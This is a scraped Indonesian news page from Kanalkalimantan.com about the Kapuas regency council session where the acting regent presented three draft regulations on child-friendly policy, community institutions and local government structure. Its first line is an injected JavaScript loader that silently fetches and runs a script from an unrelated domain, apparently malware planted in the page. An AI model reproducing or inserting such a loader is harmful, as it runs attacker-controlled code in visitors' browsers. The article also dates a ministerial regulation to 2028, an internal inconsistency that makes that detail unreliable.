(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Rapat Paripurna Penyampaian Tiga Raperda, Ini Kata Pj Bupati Kapuas


KANALKALIMANTAN.COM, KUALA KAPUAS – Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri rapat paripurna ke-1 masa persidangan II tahun sidang 2024 DPRD Kabupaten Kapuas yang dipimpin Wakil Ketua I DPRD Kabupaten Kapuas Yohanes, Senin (18/3/2024) siang.

Rapat beragendakan penyampaian tiga buah Raperda Kabupaten Kapuas, dihadiri oleh Sekretaris Daerah (Sekda) Kabupaten Kapuas Septedy, unsur Forkopimda, para kepala OPD Pemkab Kapuas, serta anggota DPRD Kabupaten Kapuas.

Tiga buah Raperda Kabupaten Kapuas yaitu disampaikan yakni Raperda tentang Kabupaten Layak Anak, Raperda tentang pencabutan Perda Kabupaten Kapuas Nomor 10 Tahun 2007 tentang lembaga kemasyarakatan, dan Raperda tentang perubahan kedua atas Perda Nomor 10 Tahun 2016 tentang pembentukan dan susunan perangkat daerah.

Baca juga: Pipa PAM di A Yani Km 2,5 Jebol, Pasokan Air Terhenti ke Banjarmasin Barat dan Tengah  

“Berkaitan tentang Raperda pertama yaitu bahwa untuk memberikan arah, landasan, dan kepastian hukum kepada semua pihak yang terlibat dalam perlindungan anak, maka diperlukan pengaturan tentang Kabupaten Layak Anak,” ucap Bupati.

Erlin Hardi menjelaskan mengenai Raperda yang kedua, yang menjadi pertimbangan penyusunan Raperda ini adalah bahwa berdasarkan Peraturan Menteri Dalam Negeri Nomor 18 Tahun 2028 tentang Lembaga Kemasyarakatan dan Lembaga Adat Desa diatur lebih lanjut dengan peraturan bupati.

“Berdasarkan ketentuan, maka Peraturan Daerah Kabupaten Kapuas Nomor 10 Tahun 2007 tentang lembaga kemasyarakatan sudah tidak sesuai dengan peraturan perundang-undangan saat ini sehingga perlu dicabut,” terang Erlin.

Baca juga: Relokasi Permukiman di Kecamatan Cempaka, Pasca Kebakaran Dipindah ke Lahan Baru

Sementara Raperda ketiga tentang pembentukan dan susunan perangkat daerah yaitu dengan adanya kebijakan dari pemerintah terkait penyederhanaan birokrasi, maka kelembagaan perangkat daerah Kabupaten Kapuas mengalami perubahan termasuk peraturan daerah nomor 2 Tahun 2012 tentang organisasi dan tata kerja Badan Penanggulangan Bencana Daerah Kabupaten Kapuas.

“Dibutuhkan perubahan kedua atas Perda nomor 10 Tahun 2016 tentang pembentukan dan susunan perangkat daerah Kabupaten Kapuas,” terangnya.

Baca juga: Penguatan Pendidikan Karakter Siswa di SMAN 1 Kuala Kapuas

Berkaitan dengan tiga Raperda ini, Erlin Hardi berharap pada saat pembahasan dapat terlaksana dengan sebaik-baiknya dan dapat memberikan manfaat bagi semua. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Muhammad Andi

Recent Posts

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

2 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

3 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

13 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

14 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

14 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

14 jam ago

This website uses cookies.